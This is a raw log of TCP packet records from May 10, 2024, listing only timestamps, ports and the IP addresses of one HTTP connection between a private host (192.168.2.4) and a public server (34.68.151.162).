May 10, 2024 09:20:58.604294062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604309082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604309082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604326963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604331017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604343891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604356050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604367018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604388952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604440928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.605498075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605510950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605521917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605534077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605545044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605545998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.605556011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605568886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605580091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605581045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.605592012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605601072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.605603933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605616093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605628014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605634928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.605638981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605650902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605659008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.605662107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.605674982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.605724096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.607964039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.607976913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.607986927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608000040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608011007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608011007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608022928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608036041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608047009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608057976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608069897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608072996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608084917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608095884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608109951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608120918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608120918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608120918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608130932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608134031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608146906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608155966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608158112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608170986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608182907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608186007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608197927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608208895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608217955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608222008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608246088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608257055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608267069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608267069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608268976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608283043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608289003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608299017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608310938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608321905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608330965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608331919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608344078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608355045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608371019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608386993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608395100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608397961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608409882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.608417034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.608458042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.609700918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609714985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609725952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609736919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609747887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609759092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609769106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609781027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609781981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.609791994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609802008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.609803915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609816074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609817982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.609827995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609839916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609848976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.609849930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609857082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.609863997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.609870911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.609966993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611481905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611495018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611520052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611531019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611541986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611543894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611553907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611565113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611576080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611582994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611588001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611602068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611612082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611620903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611620903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611624002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611635923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611644030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611646891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611660004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611670017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611670017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611680031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611684084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611696005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611706972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611717939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611717939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611731052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611737967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611742973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611754894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611767054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611768961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611778021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611778021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611793041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611799955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611831903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611849070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611861944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611874104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611886024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611896992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611907959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611917973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611922026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611933947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611943007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611943007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.611943960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.611964941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.613289118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613301039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613311052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613322020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613332987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613347054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.613363028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613374949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613384008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.613385916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613396883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613404036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.613409996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613421917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613431931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.613435030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613446951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613454103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.613459110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613471031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.613481045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.613535881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614469051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614481926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614557028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614635944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614651918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614662886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614675045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614686966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614697933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614708900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614718914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614720106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614732981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614742041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614746094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614759922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614770889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614782095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614793062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614804029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614814043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614818096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614818096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614819050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614825964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614834070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614842892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614849091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614856005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614867926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614877939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614887953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614888906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614905119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614914894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614922047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614927053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614938974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614943027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614949942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614950895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614964008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614975929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.614975929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.614989996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.615001917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.615010977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.615012884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.615021944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.615025043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.615050077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.617194891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617207050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617218018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617228985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617242098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617252111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617255926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.617264986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617278099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617292881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.617295980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617309093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617320061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617324114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.617336988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617347956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617348909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.617360115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617371082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.617374897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.617396116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.617525101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618407011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618417978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618429899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618501902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618516922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618530035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618546963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618556976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618560076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618570089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618581057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618587017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618594885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618609905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618628025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618640900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618650913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618650913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618664026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618669033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618675947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618688107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618699074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618710995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618721962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618732929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618742943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618742943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618742943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618757963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618768930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618779898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618783951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618793011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618802071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618803978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618817091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618824005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618829966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618840933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618851900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618863106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618863106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618874073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618880033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618886948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618899107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618906975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618910074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618920088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.618922949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.618942976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.620053053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620064974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620075941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620086908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620098114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620106936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.620116949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620129108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.620130062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620137930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.620145082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620156050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620163918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.620167971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620179892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620191097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620202065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.620202065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620213985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620222092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.620225906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.620245934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.620331049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.622210026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622221947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622232914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622246027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622256041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622260094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.622267962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622277975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.622281075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622293949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622304916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622313023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.622317076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622328997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622349977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.622349977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.622363091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622375011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622385979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622395992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.622405052 CEST	49754	80	192.168.2.4	34.68.151.162
